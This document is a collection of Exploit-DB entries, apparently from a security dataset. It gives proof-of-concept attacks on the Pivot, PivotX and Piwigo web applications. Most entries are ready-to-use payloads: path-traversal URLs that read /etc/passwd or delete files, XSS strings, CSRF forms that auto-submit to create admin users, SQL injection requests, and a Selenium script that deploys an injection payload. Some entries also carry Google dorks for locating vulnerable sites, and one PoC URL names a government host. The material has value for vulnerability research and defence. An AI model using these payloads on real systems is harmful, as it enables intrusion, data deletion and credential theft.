deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8239
Description: Pivot 1.40.6 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2009-03-18
Author: Alfons Luja

Exploit:
Pivot 1.40.6 Remote File Delete 

Alfons Luja

Vuln :
     
     extensions/bbclone_tools/hr_conf.php line 20

       ...
 
       $bbclone_debug = false;  //is never change 

       ...
 
=========================================================
       
    extensions/bbclone_tools/count.php


      ...


      if ( ($_GET["refkey"]!="") && file_exists("$refkeydir/".$_GET["refkey"])) {   [1]

	if ($bbclone_debug==true) { echo "Refkey found..<br />"; }

	// Getting the time offset between the web and file server (if there is any)
	$offset = timediffwebfile($bbclone_debug);

	if ((time() - filectime("$refkeydir/".$_GET["refkey"])) < (1000+$offset)) {   [2]
         
		include("do_count.php");
		if ($bbclone_debug!=true) {
			header("content-type:image/gif");
			readfile("pixel.gif");
		} else {
			echo "Counted normally";
		}
		die();

	} else if ($bbclone_debug==true) {
		echo "too old!";
	}

	if ($bbclone_debug!=true) {                                                    [3]
		unlink("$refkeydir/".$_GET["refkey"]);
	}
}

      ...


1] . We can put existent file 

2] . Time dependences 
     If current time - last modification time < 1000 + $offset (usually 1001,1002 not more)
     We must wait a moment other way 'exploit dosent work'  

3] . $bbclone_debug is always false so if condition from point [2] == false 
     We can delete some file 
   

If register globals is ON we can using this bug to include some file  

poc :

http://www.pentagon.gov/~pivot_1406_full/extensions/bbclone_tools/count.php?refkey=../../../extensions/bbclone_tools/hr_conf.php

# milw0rm.com [2009-03-18]
Exploit-DB #35259
Description: PivotX 2.2 - '/pivotx/includes/blogroll.php?color' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-25
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/45996/info

PivotX is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

PivotX 2.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/blogroll.php?id=1&color=123;}</style><script>alert("XSS");</script>|
Exploit-DB #35260
Description: PivotX 2.2 - '/pivotx/includes/timwrapper.php?src' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-25
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/45996/info
 
PivotX is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
PivotX 2.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/timwrapper.php?src=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
Exploit-DB #35254
Description: PivotX 2.2.2 - 'module_image.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-25
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/45983/info

PivotX is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PivotX 2.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/pivotx/pivotx/modules/module_image.php?image=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #39572
Description: PivotX 2.3.11 - Directory Traversal
Type: webapps
Platform: php
Date: 2016-03-17
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    PivotX 2.3.11
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://pivotx.net/
Vulnerability Type:  Directory Traversal
Remote Exploitable:  Yes
Reported to vendor:  01/20/2016
Disclosed to public: 03/15/2016
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

PivotX is a CMS for blogging written in PHP. In version 2.3.11, it is
vulnerable to Directory Traversal, allowing authenticated users to read and
delete files outside of the PivotX directory.

3. Details

Description

CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N

The function cleanPath which is responsible for sanitizing path names can be
bypassed by an attacker, leading to directory traversal in multiple places.

Proof of Concept

Admins and Superadmins can read any file:

http://localhost/pivotx_latest/pivotx/ajaxhelper.php?function=view&basedir=
L3Zhci93d3cvcGl2b3R4X2xhdGVzdC9CYXNlZGlyLwo=&file=../.....//...//.....//.../
/.....//...//.....//...//.....//...//.....//...//etc/passwd

Advanced users, Admins and Superadmins can delete any file, possibly leading to
DOS:

http://localhost/pivotx_latest/pivotx/index.php?page=media&del=.....//.../
/.....//...//.....//...//.....//...//.....//...//.....//...//important/
important.file&pivotxsession=ovyyn4ob2jc5ym92

Code

lib.php
function cleanPath($path) {
    $path = str_replace('../', '', $path);
    $path = str_replace('..\\', '', $path);
    $path = str_replace('..'.DIRECTORY_SEPARATOR, '', $path);
    return $path;
}

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

01/20/2016 Informed Vendor about Issue
01/29/2016 Vendor replies, PivotX is not maintained anymore
03/15/2016 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/PivotX-2311-Directory-Traversal-154.html
 
--
blog:  https://blog.curesec.com
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany
Exploit-DB #37146
Description: PivotX 2.3.2 - 'ajaxhelper.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-09
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53434/info

PivotX is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PivotX 2.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/pivotx/ajaxhelper.php?function=view&file=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #38881
Description: Piwigo - 'admin.php' Cross-Site Request Forgery (User Creation)
Type: webapps
Platform: php
Date: 2013-12-17
Author: sajith

Exploit:
source: https://www.securityfocus.com/bid/64357/info

Piwigo is prone to cross-site request-forgery and HTML-injection vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.

Piwigo 2.5.3 is vulnerable; other versions may also be affected.

<head>
<title>POC</title>
</head>
<body>
<form action="http://www.example.com/cms/piwigo/admin.php?page=user_list"
id="formid" method="post">
<input type="hidden" name="login" value="crsfpoc123" />
<input type="hidden" name="password" value="Password123@" />
<input type="hidden" name="email" value="xyz@aaww.com" />
<input type="hidden" name="send_password_by_mail" value="1" />
<input type="hidden" name="submit_add" value="Submit" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>
Exploit-DB #49818
Description: Piwigo 11.3.0 - 'language' SQL
Type: webapps
Platform: php
Date: 2021-05-03
Author: nu11secur1ty

Exploit:
# Exploit Title: Piwigo 11.3.0 - 'language' SQL
# Author: @nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 04.30.2021
# Vendor: https://piwigo.org/
# Link: https://github.com/Piwigo/Piwigo/releases/tag/11.3.0
# CVE: CVE-2021-27973

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug: @nu11secur1ty
# CVE-2021-27973

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://192.168.1.3/piwigo/"

#enter your login username
username="admin"

#enter your login password
[CREDENTIAL_REDACTED]"

#enter the element for username input field
element_for_username="username"

#enter the element for password input field
element_for_[CREDENTIAL_REDACTED]"

#enter the element for submit button
element_for_submit="login"

print("Loading... ;)")
time.sleep(1)
browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Languages Exploit
time.sleep(5)
browser.get(("
http://192.168.1.3/piwigo/admin.php?page=languages&language=TR_CN%27%20or%20updatexml(1%2Cconcat(0x7e%2C(version()))%2C0)%20or%20%27&action=activate"))

print("The payload for category Languages is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
Exploit-DB #52443
Description: Piwigo 13.6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2025-12-02
Author: CodeSecLab

Exploit:
# Exploit Title: Piwigo 13.6.0 - SQL Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage:  https://github.com/Piwigo/Piwigo
# Software Link: https://github.com/Piwigo/Piwigo
# Version: 13.6.0 
# Tested on: Windows
# CVE : CVE-2023-33362


Proof Of Concept:
GET /admin.php?page=profile&user_id=' OR 1=1 --  HTTP/1.1
Host: piwigo

Steps to Reproduce
Login as an admin user.
Send the request.
Observe the result
Exploit-DB #51386
Description: Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-20
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS)
Application: Piwigo
Version: 13.6.0 
Bugs:  Stored XSS
Technology: PHP
Vendor URL: https://piwigo.org/
Software Link: https://piwigo.org/get-piwigo
Date of found: 18.04.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1.After uploading the image, we write <img%20src=x%20onerror=alert(4)> instead of the tag(keyword) while editing the image)
payload: <img%20src=x%20onerror=alert(4)>


POST /piwigo/admin.php?page=photo-9 HTTP/1.1
Host: localhost
Content-Length: 159
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/piwigo/admin.php?page=photo-9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: pwg_id=u7tjlue5o3vj7fbgb0ikodmb9m; phavsz=1394x860x1; pwg_display_thumbnail=display_thumbnail_classic; pwg_tags_per_page=100; phpbb3_ay432_k=; phpbb3_ay432_u=2; phpbb3_ay432_sid=9240ca5fb9f93c8ebc8ff7bd42c380fe
Connection: close

name=Untitled&author=&date_creation=&associate%5B%5D=1&tags%5B%5D=<img%20src=x%20onerror=alert(3)>&description=&level=0&pwg_token=bad904d2c7ec866bfba391bfc130ddd2&submit=Save+settings
Exploit-DB #34367
Description: Piwigo 2.0 - 'comments.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-10-28
Author: Andrew Paterson

Exploit:
source: https://www.securityfocus.com/bid/41897/info

Piwigo is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Piwigo 2.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/comments.php?keyword=<script>alert(/Vulnerable/.source)</script>&since=
http://www.example.com/comments.php?author=<script>alert(/Vulnerable/.source)</script>&since=
Exploit-DB #48814
Description: Piwigo 2.10.1 - Cross Site Scripting
Type: webapps
Platform: php
Date: 2020-09-16
Author: Iridium

Exploit:
# Exploit Title: Piwigo 2.10.1 - Cross Site Scripting
# POC by: Iridium
# Software Homepage: http://www.piwigo.org
# Version : 2.10.1
# Tested on: Linux & Windows
# Category: webapps
# Google Dork: intext: "Powered by Piwigo"
# CVE : CVE-2020-9467

######## Description ########

Piwigo 2.10.1 has stored XSS via the file parameter in a /ws.php request
because of the pwg.images.setInfo function.

######## Proof of Concept ########

*Request*

POST /piwigo/ws.php?format=json HTTP/1.1
Host: [victim]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101
Firefox/80.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 79
Origin: http://[victim]
Connection: close
Referer: http://[victim]/piwigo/admin.php?page=photos_add&section=direct
Cookie: pwg_id=08tksticrdkctrvj3gufqqbsnh

method=pwg.categories.add&parent=1&name=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
Exploit-DB #24520
Description: Piwigo 2.4.6 - '/install.php' Arbitrary File Read/Delete
Type: webapps
Platform: php
Date: 2013-02-19
Author: LiquidWorm

Exploit:
Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Vulnerability


Vendor: Piwigo project
Product web page: http://www.piwigo.org
Affected version: 2.4.6

Summary: Piwigo is a photo gallery software for the web that comes
with powerful features to publish and manage your collection of
pictures.

Desc: Input passed to the 'dl' parameter in 'install.php' script
is not properly sanitised before being used to get the contents of
a resource or delete files. This can be exploited to read and delete
arbitrary data from local resources with the permissions of the web
server via directory traversal attack.

====================================================================
/install.php:
-------------

113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }

====================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php

Vendor Patch: http://piwigo.org/bugs/view.php?id=2843



15.02.2013


--

http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
Exploit-DB #28560
Description: Piwigo 2.5.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-09-26
Author: Arsan

Exploit:
#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#
#
# Exploit Title: Piwigo 2.5.2 <= Cross Site Scripting
# Date: 2013 26 September
# Author: Arsan
# Software Homepage: http://www.piwigo.org
# Version : 2.5.2
# Tested on: Linux & Windows
# Category: webapps
# Google Dork: intext:"Powered by Piwigo"
#
#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#
#
# [+] Exploit :
#
# [-] About Piwigo :
#
# Host and share your photos with Piwigo
# Piwigo is photo gallery software for the web, built by an active community of users and developers.
# Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and opensource.
# Browse the demo (http://www.piwigo.org/demo) to discover Piwigo features on gallery side and change graphical theme on the fly.
#
# 	[-] Description :
#	
#	    1) Download "Piwigo" And Install.
#	    2) Create New Album ( Photos > Add > create a new album ) ~> Follow this link :
#	       http://localhost/piwigo/admin.php?page=photos_add
#	    3) Insert A photo In Your Album And Save It.
#	    4) And Go To Photo Edit; Follow This Way :
#	       Photos > Batch Manager > single mode
#	       http://localhost/piwigo/admin.php?page=batch_manager&mode=unit
#	    5) Now Insert This Code In "Title","Author","Tags","Description" :
#	       "><script>alert(/Arsan/)</script>
#	    6) Try To See Your Photo In Gallery;
#	       http://localhost/cms/piwigo/picture.php?/[Number Photo]/category/[Number Album]
#	    :) You See Alert "Arsan" . Enjoy ;)
#
#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#
#
# [+] Demo :
#
# http://www.piwigo.org/demo
#
#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#
#
# [+] Contact Me :
#
#     Arsan.Blackhat@gmail.com
#     Twitter.com/ArsanBlackhat
# 
#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#
# I L0ve Inj3ct0r Team
#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#
Exploit-DB #31916
Description: Piwigo 2.6.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-02-26
Author: killall-9

Exploit:
# Exploit Title: piwigo 2.6.1 - CSRF
# Date: 26/02/2014
# Exploit Author: killall-9@mail.com
# Vendor Homepage: http://it.piwigo.org/
# Software Link: http://it.piwigo.org/basics/downloads
# Version: 2.6.1
# Tested on: Virtualbox debian

A CSRF problem is present in the administration panel.
Here it is a POF according to a derived POST:

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>
<html lang="en">
<head>
<title>Piwigo 2.6.1</title>
</head>
<body>
<form action="http://localhost/piwigo/ws.php?format=json&method=pwg.users.add http://localhost/piwigo/ws.php?format=json&method=pwg.users.add&lang=en " id="formid" method="post">
<input name="username" value="utente" />
<input name="password" value="utente" />
<input name="email" value="utente@gmail.com http://service.mail.com/callgate-6.73.1.0/rms/6.73.1.0/mail/getBody?folderId=1&messageId=OTg2SQZUNUQ2Occvtn5u651INxBSYcL4&purpose=display&bodyType=html# "/>

</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>

So you can add a new arbitrary user.


cheerz°°°°
Exploit-DB #35583
Description: Piwigo 2.7.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-12-19
Author: TaurusOmar

Exploit:
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                 INDEPENDENT SECURITY RESEARCHER 
                   PENETRATION TESTING SECURITY
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 

# Exploit Title: Piwigo 2.7.2 - SQL Injection / Cross Site Scripting Vulnerability's 
# Date: 19/12/2014
# Url Vendor: http://www.piwigo.org/
# Vendor Name: Piwigo 
# Version: 2.7.2
# CVE:  CVE-2014-1470
# CVE References: CVE-2013-1468, CVE-2013-1469
# Author: TaurusOmar	
# Tiwtter: @TaurusOmar_
# Email:  taurusomar13@gmail.com
# Home:  overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: High


Description
Piwigo is a photo gallery software for the web that comes with powerful features to publish and manage your collection of pictures.


------------------------
+ CROSS SITE SCRIPTING + 
------------------------
# Exploiting Description - Get into code xss in the box of group list. 

<fieldset>
<legend>Add Group</legend><p>
<strong>Name Group</strong><br>
YOUR GROUP NAME O POC
<input type="text" size="20" maxlength="50" name="groupname"></p>
<p class="actionButtons">
<input type="submit" value="Add" name="submit_add" class="submit">
<a id="addGroupClose" href="#">Cancel</a></p>
<input type="hidden" value="24322c55681c00da423a8a7b21b79640" name="pwg_token">
</fieldset>

#P0c
"><img src=x onerror=prompt(1);>

#Proof Concept
http://i.imgur.com/qFyJz6q.jpg


------------------------
+ Sql Injection +
------------------------
# Exploiting Description - Sql Injection in control panel of admin and others users . 

#P0c
http://site.com/piwigo/admin.php?page=history&search_id=5'

SELECT
    date,
    time,
    user_id,
    IP,
    section,
    category_id,
    tag_ids,
    image_id,
    image_type
  FROM ucea_history
  WHERE 
; in /home/site.com/public_html/piwigo/include/dblayer/functions_mysqli.inc.php on line 830

#Proof Concept
http://i.imgur.com/wpzMmmu.jpg